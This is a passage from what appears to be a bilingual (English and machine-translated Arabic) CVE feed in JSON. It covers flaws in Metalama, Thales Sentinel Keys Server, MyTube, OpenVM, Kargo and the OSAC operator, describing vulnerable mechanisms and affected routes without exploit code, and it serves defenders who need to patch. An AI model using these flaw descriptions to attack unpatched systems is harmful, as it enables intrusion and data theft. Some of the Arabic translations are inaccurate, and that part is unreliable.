`Metalama_{role}_{processId}_{hash(PackageVersion)}`. Releases from the first public 2023.0 line through 2026.0.x use Newtonsoft.Json with `TypeNameHandling.All`; the later `SerializationBinder` only remaps assembly names, and `BindToType` resolves arbitrary wire-supplied types without an allow-list. Releases 2026.1.0 through 2026.1.18 use typeless MessagePack with `TypelessObjectResolver` and likewise instantiate arbitrary types. A same-user local process able to write to the pipe can send crafted messages that lead to arbitrary code execution with confidentiality, integrity and availability impacts inside the affected Visual Studio process. Default Windows pipe ACLs limit writers to the same logged-in user, so this does not escalate privileges or cross a security boundary; command-line and MSBuild-only builds do not use the channel. The maintained Metalama + PostSharp extension is affected from 2024.1 through 2026.1.4, while earlier Metalama-free PostSharp versions are unaffected. The retired Metalama and Caravela extensions remain affected and require removal or migration. The framework issue is fixed in versions 2025.1.18, 2026.0.25 and 2026.1.19; the maintained Metalama + PostSharp Visual Studio extension is fixed in version 2026.1.5. The retired Metalama and Caravela extensions require removal or migration.","ar":"مجموعة أدوات Metalama هي مجموعة أدوات مفتوحة المصدر للأنماط والبنية المعمارية لغة C# وتعتمد على Roslyn. من الإصدار 2023.0.101-rc وحتى 2025.1.18 و 2026.0.25 و 2026.1.19، تقوم التوافقية مع Windows Visual Studio بإلغاء تسلسل رسائل الأنابيب المسماة المحلية دون تقييد أنواع CLR التي يمكن إنشاؤها. يربط الأنبوب بين `devenv` وعملية تحليل شيفرة Roslyn خارج العملية وعملية `CodeLens`، وله اسم متوقع هو `Metalama_{role}_{processId}_{hash(PackageVersion)}`. تستخدم الإصدارات من السلسلة العامة الأولى 2023.0 وحتى 2026.0.x مكتبة Newtonsoft.Json مع ضبط `TypeNameHandling.All`؛ ويقوم `SerializationBinder` اللاحق بإعادة تعيين أسماء التجميعات فقط، بينما يحل `BindToType` أنواعًا عشوائية مقدمة عبر الشبكة دون قائمة سماح. تستخدم الإصدارات 2026.1.0 حتى 2026.1.18 مكتبة MessagePack عديمة الأنواع مع `TypelessObjectResolver` وتنشئ بشكل مشابه أنواعًا عشوائية. يمكن لعملية محلية لنفس المستخدم قادر على الكتابة في الأنبوب إرسال رسائل مصممة تؤدي إلى تنفيذ شيفرة عشوائية مع التأثير على السرية والنزاهة والتوفر داخل عملية Visual Studio المتأثرة. تقيد قوائم التحكم بالوصول (ACLs) الافتراضية لأنابيب Windows الكتابة للمستخدم نفسه المسجل دخوله، لذا لا تسبب هذه الثغرة تصعيد الصلاحيات أو تجاوز حد أمني؛ ولا تستخدم عمليات البناء عبر سطر الأوامر أو MSBuild فقط هذه القناة. يتأثر امتداد Metalama + PostSharp المدعوم من الإصدار 2024.1 حتى 2026.1.4، بينما الإصدارات السابقة من PostSharp الخالية من Metalama غير متأثرة. تظل امتدادات Metalama و Caravela المتقاعدة متأثرة وتتطلب الإزالة أو الانتقال. تم إصلاح مشكلة إطار العمل في الإصدارات 2025.1.18 و 2026.0.25 و 2026.1.19؛ وتم إصلاح امتداد Metalama + PostSharp لـ Visual Studio المدعوم في الإصدار 2026.1.5. تتطلب امتدادات Metalama و Caravela المتقاعدة الإزالة أو الانتقال."},"refs":[["https://github.com/advisories/GHSA-h26j-4vp7-x9w2","advisory"],["https://github.com/metalama/Metalama/security/advisories/GHSA-h26j-4vp7-x9w2","ref"],["https://github.com/metalama/Metalama/pull/1651","ref"],["https://github.com/metalama/Metalama/commit/5b4ced29f2b25631cc2e44d05b0fd5fe838b6cbe","ref"],["https://github.com/metalama/Metalama/commit/d97f52e1b53ffe4176b2b05c56ffdf1ccd2f53a9","ref"],["https://github.com/metalama/Metalama/releases/tag/release/2025.1.18","ref"],["https://github.com/metalama/Metalama/releases/tag/release/2026.0.25","ref"],["https://github.com/metalama/Metalama/releases/tag/release/2026.1.19","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-62848","ref"]],"epss":0.0019,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"metalama"},{"id":"CVE-2026-78402","cvss":7.8,"vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":["LPE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:17Z","product":"Thalesgroup Sentinel Keys Server","affected":[["0 – <1.3.8.0","1.3.8.0"]],"title":{"en":"Stack Buffer Overflow in Sentinel Keys Server","ar":"فيضان المخزن المؤقت للكومة في Sentinel Keys Server"},"summary":{"en":"Stack-based buffer overflow and out-of-bounds write vulnerability in Thales Sentinel Keys Server on Windows allows Overflow Buffers. Sentinel Keys Server does not check the length of the first field in the input message. A local attacker may craft an input and send it to Sentinel Keys Server. It may lead to code execution as NT AUTHORITY\\SYSTEM enabling local privilege escalation. This issue affects Sentinel Keys Server: versions lower than 1.3.8.0.","ar":"تؤدي ثغرة فيضان المخزن المؤقت المستند إلى الكومة والكتابة خارج الحدود في منتج Thales Sentinel Keys Server على نظام Windows إلى السماح بفيضان المخزن المؤقت. لا يتحقق Sentinel Keys Server من طول الحقل الأول في رسالة الإدخال. يمكن لمهاجم محلي صياغة إدخال وإرساله إلى Sentinel Keys Server، مما قد يؤدي إلى تنفيذ شيفرة بصلاحيات NT AUTHORITY\\SYSTEM وتمكين تصعيد الصلاحيات المحلي. تؤثر هذه المشكلة على Sentinel Keys Server الإصدارات الأقل من 1.3.8.0."},"refs":[["https://supportportal.thalesgroup.com/csm?id=kb_article_view&sys_kb_id=50fc9f3b3b005f10bba8b41864e45a61&sysparm_article=KB0031216","advisory"]],"epss":0.0015,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"thalesgroup-sentinel-keys-server"},{"id":"CVE-2026-78403","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-121","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-30T20:17:17Z","product":"Thalesgroup Sentinel Keys Server","affected":[["0 – <1.3.8.0","1.3.8.0"]],"title":{"en":"Unauthenticated Stack Buffer Overflow in Sentinel Keys Server","ar":"فيضان مخزن مؤقت للكومة دون مصادقة في Sentinel Keys Server"},"summary":{"en":"Stack-based buffer overflow and missing authorization vulnerability in Thales Sentinel Keys Server on Windows allows Overflow Buffers. Sentinel Keys Server does not check the length of the first field in the HTTP request. An attacker may craft an HTTP request and send it to Sentinel Keys Server. It may lead to remote code execution as NT AUTHORITY\\SYSTEM. This issue affects Sentinel Keys Server: versions lower than 1.3.8.0.","ar":"تؤدي ثغرة فيضان المخزن المؤقت المستند إلى الكومة وغياب التفويض في Thales Sentinel Keys Server على نظام Windows إلى السماح بفيضان المخزن المؤقت. لا يتحقق Sentinel Keys Server من طول الحقل الأول في طلب HTTP. يمكن للمهاجم صياغة طلب HTTP وإرساله إلى Sentinel Keys Server، مما قد يؤدي إلى تنفيذ أوامر عن بُعد بصلاحيات NT AUTHORITY\\SYSTEM. تؤثر هذه المشكلة على Sentinel Keys Server الإصدارات الأقل من 1.3.8.0."},"refs":[["https://supportportal.thalesgroup.com/csm?id=kb_article_view&sys_kb_id=50fc9f3b3b005f10bba8b41864e45a61&sysparm_article=KB0031216","advisory"]],"epss":0.0058,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"thalesgroup-sentinel-keys-server"},{"id":"CVE-2026-62302","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-306","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:12Z","product":"franklioxygen MyTube","affected":[],"title":{"en":"MyTube: Unauthenticated Media Access via Static Routes Bypassing Login","ar":"MyTube: الوصول إلى الوسائط دون مصادقة عبر المسارات الثابتة لتجاوز تسجيل الدخول"},"summary":{"en":"MyTube is a self-hosted downloader and player for several video websites. Prior to version 1.10.3, `server.ts` calls `registerStaticRoutes` and `registerCloudRoutes` before `registerApiRoutes`, where `authMiddleware` and `roleBasedAuthMiddleware` are mounted. Because Express processes middleware in registration order, `staticRoutes.ts` and `cloudRoutes.ts` remain outside the authentication stack even when `loginEnabled=true`. Unauthenticated clients can access local videos through `/videos/*`, thumbnails through `/images/*` and `/images-small/*`, avatars through `/avatars/*`, subtitles through `/subtitles/*`, cloud thumbnail caches through `/api/cloud/thumbnail-cache/*`, and cloud signed URLs or redirects through `/cloud/videos/:filename` and `/cloud/images/:filename`. The frontend login wall does not protect direct media requests. Cloud routes return 404 when cloud storage is unconfigured, but that is not an authentication rejection; protected API routes correctly return 401. Combined with hidden-video path leaks, the flaw permits unauthenticated downloads of hidden media. Default loginEnabled=false single-user deployments have no authentication boundary to bypass. This issue is fixed in version 1.10.3.","ar":"تعد MyTube أداة تنزيل ومشغل ذاتي الاستضافة لعدة مواقع فيديو. قبل الإصدار 1.10.3، يستدعي ملف `server.ts` الدوال `registerStaticRoutes` و `registerCloudRoutes` قبل `registerApiRoutes`، حيث يتم تثبيت `authMiddleware` و `roleBasedAuthMiddleware`. ونظرًا لأن Express يعالج الوسيط بترتيب التسجيل، تظل الملفات `staticRoutes.ts` و `cloudRoutes.ts` خارج نطاق المصادقة حتى عند ضبط `loginEnabled=true`. يمكن للعملاء دون مصادقة الوصول إلى الفيديوهات المحلية عبر `\\/videos\\/*`، والصور المصغرة عبر `\\/images\\/*` و `\\/images-small\\/*`، والصور الرمزية عبر `\\/avatars\\/*`، والترجمات عبر `\\/subtitles\\/*`، وذاكرة التخزين المؤقت للصور المصغرة السحابية عبر `\\/api\\/cloud\\/thumbnail-cache\\/*`، وروابط إعادة التوجيه أو الروابط السحابية الموقعة عبر `\\/cloud\\/videos\\/:filename` و `\\/cloud\\/images\\/:filename`. لا تحمي واجهة تسجيل الدخول في الواجهة الأمامية طلبات الوسائط المباشرة. تُرجع المسارات السحابية الخطأ 404 عندما يكون التخزين السحابي غير مُكوَّن، ولكن هذا ليس رفضًا للمصادقة؛ بينما تُرجع مسارات واجهة برمجة التطبيقات المحمية الخطأ 401 بشكل صحيح. بالاقتران مع تسريبات مسارات الفيديوهات المخفية، تسمح هذه الثغرة بتنزيلات غير مصادق عليها للوسائط المخفية. عمليات نشر المستخدم الفردي الافتراضية حيث `loginEnabled=false` ليس لها حدود مصادقة لتجاوزها. تم إصلاح هذه المشكلة في الإصدار 1.10.3."},"refs":[["https://github.com/franklioxygen/MyTube/commit/7cc7c6a7d297ccbd8bd2c76755129381b96f8456","ref"],["https://github.com/franklioxygen/MyTube/security/advisories/GHSA-rwwf-29mq-5j43","ref"],["https://github.com/franklioxygen/MyTube/tree/v1.10.3","ref"]],"epss":0.0046,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"franklioxygen-mytube"},{"id":"CVE-2026-62333","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-20","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:12Z","product":"openvm-org openvm","affected":[],"title":{"en":"OpenVM: MemoryMerkleAir allows below-leaf rows to alter memory roots","ar":"OpenVM: يسمح MemoryMerkleAir لصفوف ما تحت الأوراق بتغيير جذور الذاكرة"},"summary":{"en":"OpenVM is a performant and modular zkVM framework built for customization and extensibility. Before 1.7.0 in the 1.x line and in affected 2.0 and 2.1 prereleases, `MemoryMerkleAir` does not forbid Merkle expansion rows at `parent_height` = 0 or below while `expand_direction` != 0. A malicious prover can fabricate a subtree below a memory leaf and swap digests inside that subtree to change the committed memory root without a corresponding memory operation. The fraudulent rows still balance against the Merkle and compression buses and require no memory-bus operation for the changed leaf. Because the memory Merkle root binds VM memory state across continuation segment boundaries, this affects the soundness of OpenVM proofs using persistent memory. This issue is fixed in versions 1.7.0, 2.0.0-rc.3 and 2.1.0-preview.","ar":"إن OpenVM هو إطار عمل zkVM عالي الأداء وقابل للتخصيص والتوسع. قبل الإصدار 1.7.0 في سلسلة الإصدارات 1.x والإصدارات الأولية المتأثرة 2.0 و 2.1، لا يحظر `MemoryMerkleAir` صفوف توسعة Merkle عند `parent_height` = 0 أو أقل بينما `expand_direction` != 0. يمكن لمُثبِّت ضارين بناء شجرة فرعية أسفل ورقة ذاكرة وتبديل الملخصات داخل تلك الشجرة الفرعية لتغيير جذر الذاكرة المُلتزَم به دون عملية ذاكرة مقابلة. لا تزال الصفوف الاحتيالية تتوازن مع ناقلات Merkle والضغط ولا تتطلب عملية ناقل ذاكرة للورقة المُتغيرة. ونظرًا لأن جذر Merkle للذاكرة يربط حالة ذاكرة الآلة الافتراضية عبر حدود قطاعات الاستمرارية، فإن هذا يؤثر على سلامة إثباتات OpenVM التي تستخدم الذاكرة الدائمة. تم إصلاح هذه المشكلة في الإصدارات 1.7.0 و 2.0.0-rc.3 و 2.1.0-preview."},"refs":[["https://github.com/openvm-org/openvm/blob/v2.0.0-alpha/crates/vm/src/system/memory/merkle/air.rs","ref"],["https://github.com/openvm-org/openvm/blob/v2.0.0-beta.2/crates/vm/src/system/memory/merkle/air.rs","ref"],["https://github.com/openvm-org/openvm/blob/v2.1.0-dev.0/crates/vm/src/system/memory/merkle/air.rs","ref"],["https://github.com/openvm-org/openvm/commit/bb123f6073691bd2b794171c594264c77e45c376","ref"],["https://github.com/openvm-org/openvm/pull/148","ref"],["https://github.com/openvm-org/openvm/releases/tag/v1.7.0","ref"],["https://github.com/openvm-org/openvm/releases/tag/v2.0.0-rc.3","ref"],["https://github.com/openvm-org/openvm/releases/tag/v2.1.0-preview","ref"],["https://github.com/openvm-org/openvm/security/advisories/GHSA-396x-v8w4-9x82","ref"]],"epss":0.004,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"openvm-org-openvm"},{"id":"CVE-2026-62334","cvss":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-754","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:12Z","product":"openvm-org openvm","affected":[],"title":{"en":"OpenVM's OpenVmHalo2Verifier self-call can bypass proof verification","ar":"الاستدعى الذاتي لـ OpenVmHalo2Verifier في OpenVM يمكنه تجاوز التحقق من الإثبات"},"summary":{"en":"OpenVM is a performant and modular zkVM framework built for customization and extensibility. Before 1.7.0 in the 1.x line and in affected 2.0 and 2.1 prereleases, `OpenVmHalo2Verifier.verify` constructs raw proof calldata from user-controlled `proofData`, performs a `staticcall` to `address(this)`, and treats a successful call as proof acceptance. If the first four proof bytes match another external selector exposed by the wrapper, dispatch can invoke a successful non-verifier function instead of the generated Halo2 fallback verifier. Applications using the generated Solidity wrapper can consequently accept arbitrary app commitments and public values without checking the proof suffix, accumulator, app commitments or public values. This issue is fixed in versions 1.7.0, 2.0.0-rc.3 and 2.1.0-preview.","ar":"إن OpenVM هو إطار عمل zkVM عالي الأداء وقابل للتخصيص والتوسع. قبل الإصدار 1.7.0 في سلسلة الإصدارات 1.x والإصدارات الأولية المتأثرة 2.0 و 2.1، يقوم `OpenVmHalo2Verifier.verify` بنناء بيانات استدعاء إثبات خام من `proofData` المُتحكم بها من قبل المستخدم، ويجري استدعاء `staticcall` إلى `address(this)`، ويعتبر الاستدعاء الناجح بمثابة قبول للإثبات. إذا تطابق أول أربعة بايتات من الإثبات مع محدد خارجي آخر مكشوف بواسطة الغلاف، فقد يؤدي الإرسال إلى استدعاء دالة غير مُتحققة ناجحة بدلاً من مُحقق الاحتياط Halo2 المُتولد. ونتيجة لذلك، يمكن للتطبيقات التي تستخدم غلاف Solidity المُتولد قبول التزامات تطبيقات عشوائية وقيم عامة دون التحقق من لاحقة الإثبات أو المُراكم أو التزامات التطبيق أو القيم العامة. تم إصلاح هذه المشكلة في الإصدارات 1.7.0 و 2.0.0-rc.3 و 2.1.0-preview."},"refs":[["https://github.com/openvm-org/openvm/blob/v2.0.0-alpha/crates/sdk/contracts/template/OpenVmHalo2Verifier.sol","ref"],["https://github.com/openvm-org/openvm/blob/v2.0.0-beta.2/crates/sdk/contracts/template/OpenVmHalo2Verifier.sol","ref"],["https://github.com/openvm-org/openvm/blob/v2.1.0-dev.0/crates/sdk/contracts/template/OpenVmHalo2Verifier.sol","ref"],["https://github.com/openvm-org/openvm/commit/751bdb1725254c3268782ddf8df89f19035666e3","ref"],["https://github.com/openvm-org/openvm/pull/151","ref"],["https://github.com/openvm-org/openvm/releases/tag/v1.7.0","ref"],["https://github.com/openvm-org/openvm/releases/tag/v2.0.0-rc.3","ref"],["https://github.com/openvm-org/openvm/releases/tag/v2.1.0-preview","ref"],["https://github.com/openvm-org/openvm/security/advisories/GHSA-j29p-wr24-hp4f","ref"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"openvm-org-openvm"},{"id":"CVE-2026-61850","cvss":9.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-269","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:11Z","product":"akuity kargo","affected":[],"title":{"en":"Kargo: Privilege escalation via Project RBAC management in the Kargo API","ar":"Kargo: تصعيد الصلاحيات عبر إدارة تحكم الوصول استنادًا إلى الدور (RBAC) للمشروع في واجهة برمجة تطبيقات Kargo"},"summary":{"en":"Kargo manages and automates the promotion of software artifacts. From 0.6.0 until 1.8.14, 1.9.9, and 1.10.8, two authorization flaws in the `project-scoped RBAC API` let an authenticated user with delegated permission to manage a Project's `Roles` or `ServiceAccounts` confer permissions exceeding the user's own. A user authorized to edit `Roles` can create, replace, or add rules granting permissions not held by the user; a user authorized to edit a Role's ServiceAccount can bind an identity, including the user's own, to a more powerful Role. A Kargo Role comprises a `ServiceAccount, Role, and RoleBinding` in the Project namespace. Changes are written using the API server's broadly privileged credentials after only a coarse resource-kind edit check, rather than checking each permission being conferred. This permits escalation to Project-administrator access, disclosure of `Project Secrets` and credentials, and modification or deletion of Project resources. Stolen Git, container-registry, or Helm-registry credentials can extend confidentiality and integrity impacts to those external systems. Escalation remains limited to Projects where the attacker already has RBAC-management delegation and does not itself grant cluster-wide or cross-Project access. Default non-administrator roles do not permit these operations; exploitation requires an `administrator-created custom role` granting the relevant permissions and control of an account assigned that role. This issue is fixed in versions 1.8.14, 1.9.9, and 1.10.8.","ar":"يدير Kargo ويروج تلقائيًا للقطع الأثرية البرمجية. من الإصدار 0.6.0 حتى 1.8.14 و 1.9.9 و 1.10.8، تسمح ثغرتان في التفويض ضمن `project-scoped RBAC API` لمستخدم مصادق عليه يمتلك إذناً مفوضاً لإدارة `Roles` أو `ServiceAccounts` الخاصة بالمشروع بمنح صلاحيات تتجاوز صلاحيات المستخدم نفسه. يمكن للمستخدم المُخول لتعديل `Roles` إنشاء قواعد أو استبدالها أو إضافتها التي تمنح صلاحيات لا يمتلكها المستخدم؛ ويمكن للمستخدم المُخول لتعديل حساب خدمة الدور ربط هوية، بما في ذلك هويته الخاصة، بدور أكثر قوة. يتكون دور Kargo من `ServiceAccount و Role و RoleBinding` في مساحة اسم المشروع. تتم كتابة التغييرات باستخدام بيانات الاعتماد ذات الصلاحيات الواسعة لخادم واجهة برمجة التطبيقات بعد فحص تعديل نوع المورد الخشن فقط، بدلاً من فحص كل صلاحية يتم منحها. يسمح هذا بالتصعيد إلى صلاحيات مسؤول المشروع، والكشف عن `Project Secrets` وبيانات الاعتماد، وتعديل أو حذف موارد المشروع. يمكن لبيانات اعتماد Git أو سجل الحاويات المسروقة توسيع تأثيرات سرية البيانات وسلامتها لتشمل تلك الأنظمة الخارجية. يظل التصعيد مقصورا على المشاريع التي يمتلك فيها المهاجم تفويضاً لإدارة التحكم بالوصول ولا يمنح بحد ذاته وصولاً على مستوى العنقود أو عبر المشاريع. لا تسمح الأدوار الافتراضية غير الإدارية بهذه العمليات؛ يتطلب الاستغلال `دوراً مخصصاً تم إنشاؤه بواسطة المسؤول` يمنح الصلاحيات ذات الصلة والتحكم في حساب تم تعيين هذا الدور له. تم إصلاح هذه المشكلة في الإصدارات 1.8.14 و 1.9.9 و 1.10.8."},"refs":[["https://github.com/akuity/kargo/commit/19639678811b486bddb014dabb25397771f3941e","ref"],["https://github.com/akuity/kargo/commit/50d29c10153965114f903645c83eadbe7bf58d3f","ref"],["https://github.com/akuity/kargo/commit/5ab7c4216a4151f55ea8ef9ff3b9f884dd322578","ref"],["https://github.com/akuity/kargo/commit/72fadd3600b35e6dce67042eb686720a48b45fa3","ref"],["https://github.com/akuity/kargo/releases/tag/v1.10.8","ref"],["https://github.com/akuity/kargo/releases/tag/v1.11.0-rc.1","ref"],["https://github.com/akuity/kargo/releases/tag/v1.8.14","ref"],["https://github.com/akuity/kargo/releases/tag/v1.9.9","ref"],["https://github.com/akuity/kargo/security/advisories/GHSA-wp4p-hr79-q4g8","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"akuity-kargo"},{"id":"CVE-2026-62284","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-94","tags":["RCE","Cloud"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:11Z","product":"osac-project osac-operator","affected":[],"title":{"en":"OSAC operator: Kubeconfig credential-plugin execution and SSRF in console proxy","ar":"مشغل OSAC: تنفيذ المكون الإضافي لبيانات اعتماد Kubeconfig وتزوير الطلبات من جانب الخادم (SSRF) في وكيل وحدة التحكم"},"summary":{"en":"OSAC operator is a Kubernetes operator. In the affected revision identified as 8220502, the `console-proxy` `RemoteConfigResolver` parses Kubernetes Secret kubeconfig data with `clientcmd.RESTConfigFromKubeConfig` without sanitizing the resulting `rest.Config`. An attacker who can create or modify a Secret labeled `osac.openshift.io/remote-cluster-kubeconfig`: \"true\" in a namespace where the proxy's RoleBinding grants Secret read access can supply `users[].user.exec`. When `rest.TransportFor` builds the HTTP transport for an upstream WebSocket connection, client-go invokes that exec credential plugin, spawning an arbitrary process as the osac-`console-proxy` service account inside the pod. Attacker-controlled `clusters[].server` also enables server-side request forgery from the proxy pod. Remote and auto VM cluster modes are affected, with auto the default; exclusively `local` mode does not read kubeconfig Secrets and is unaffected. The credential-plugin execution path is patched in commit 7e4222b; that patch does not address the described server-address SSRF path.","ar":"مشغل OSAC هو مشغل Kubernetes. في المراجعة المتأثرة المحددة باسم 8220502، يقوم `RemoteConfigResolver` الخاص بـ `console-proxy` بتحليل بيانات kubeconfig الخاصة بـ Kubernetes Secret باستخدام `clientcmd.RESTConfigFromKubeConfig` دون تطهير `rest.Config` الناتج. يمكن لمهاجم قادر على إنشاء أو تعديل Secret تحمل العلامة `osac.openshift.io/remote-cluster-kubeconfig`: \"true\" في مساحة اسم يمنح فيها `RoleBinding` الخاص بالوكيل صلاحية قراءة Secrets تزويد `users[].user.exec`. عندما يقوم `rest.TransportFor` بنناء نقل HTTP لاتصال WebSocket صاعد، يستدعي client-go مكون بيانات اعتماد التنفيذ هذا، مما يؤدي إلى تشغيل عملية عشوائية كحساب خدمة osac-`console-proxy` داخل الوجود (pod). يتيح `clusters[].server` المُتحكم به من قِبل المهاجم أيضًا تزوير الطلبات من جانب الخادم من وجود الوكيل. تتأثر وضعيتا مجموعات الأجهزة الظاهرية البعيدة والتلقائية، حيث تكون الوضعية التلقائية هي الافتراضية؛ بينما لا تقرأ الوضعية `local` حصريًا بيانات اعتماد Kubeconfig Secrets ولا تتأثر. تم تصحيح مسار تنفيذ المكون الإضافي لبيانات الاعتماد في الالتزام 7e4222b؛ ولا يعالج هذا التصحيح مسار SSRF الخاص بعنوان الخادم المذكور."},"refs":[["https://github.com/osac-project/osac-operator/commit/7e4222b6ab465fc00606c8cfed980b226820cb1b","ref"],["https://github.com/osac-project/osac-operator/commit/86466378aa3603253dca7fa2f59a2733af0dc092","ref"],["https://github.com/osac-project/osac-operator/pull/321","ref"],["https://github.com/osac-project/osac-operator/security/advisories/GHSA-5w5g-j6hw-6p8f","ref"]],"epss":0.0051,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"osac-project-osac-operator"},{"id":"CVE-2026-62301","cvss":7.1,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-30T20:17:11Z","product":"franklioxygen MyTube","affected":[],"title":{"en":"MyTube: Visitor Can Access Hidden Video Metadata and Content","ar":"MyTube: يمكن للزائر الوصول إلى بيانات التعريف والمحتوى للفيديوهات المخفية"},"summary":{"en":"MyTube is a self-hosted downloader and player for several video websites. Prior to version 1.10.3, backend video access does not enforce the visitor role's intended public-only restriction when `loginEnabled=true` and a visitor password is configured. The frontend filter in `VideoContext.tsx` is only client-side, `roleBasedAuthMiddleware.ts` allows all visitor GET requests, and `storageService/videos.ts` performs `getVideos()` and `getVideoById(id)` queries without checking the caller's role or `visibility`. A visitor can enumerate `/api/videos` or request `/api/videos/:id` to retrieve hidden `visibility`=0 records, exposing titles, `sourceUrl` values, `videoPath` values, subtitle paths and `thumbnailPath` values. The `serveMountVideo()` path also serves mounted video files without `visibility` checks. Leaked paths work against unauthenticated `/videos/*` and `/subtitles/*` routes, allowing media downloads without credentials. The RSS visitor feed already filters `visibility`=1 content and is not the affected query path. Default loginEnabled=false single-user deployments are unaffected by this role-boundary issue because all callers are owner-equivalent. This issue is fixed in version 1.10.3.","ar":"تعد MyTube أداة تنزيل ومشغل ذاتي الاستضافة لعدة مواقع فيديو. قبل الإصدار 1.10.3، لا يفرض الوصول إلى الفيديو في الواجهة الخلفية تقييد الزائر المخصص للمحتوى العام فقط عندما يكون `loginEnabled=true` وتم تكوين كلمة مرور للزائر. تصفية الواجهة الأمامية في `VideoContext.tsx` تكون من جهة العميل فقط، و `roleBasedAuthMiddleware.ts` يسمح بجميع طلبات GET للزوار، و `storageService/videos.ts` ينفذ استعلامات `getVideos()` و `getVideoById(id)` دون التحقق من دور المستدعي أو `visibility`. يمكن للزائر تعداد `\\/api\\/videos` أو طلب `\\/api\\/videos\\/:id` لاسترجاع سجلات `visibility`=0 المخفية، مما يكشف العناوين وقيم `sourceUrl` وقيم `videoPath` ومسارات الترجمة وقيم `thumbnailPath`. كما يخدم مسار `serveMountVideo()` ملفات الفيديو المثبتة دون عمليات التحقق من `visibility`. تعمل المسارات المسربة ضد مسارات `\\/videos\\/*` و `\\/subtitles\\/*` غير المصادق عليها، مما يسمح بتنزيلات الوسائط دون بيانات اعتماد. تقوم خلاصات RSS للزوار بالفعل بتصفية المحتوى ذي القيمة `visibility`=1 وليست هي مسار الاستعلام المتأثر. لا تتأثر عمليات نشر المستخدم الفردي الافتراضية حيث `loginEnabled=false` بهذه المشكلة المتعلقة بحدود الأدوار لأن جميع المستدعين يعادلين للمالك. تم إصلاح هذه المشكلة في الإصدار 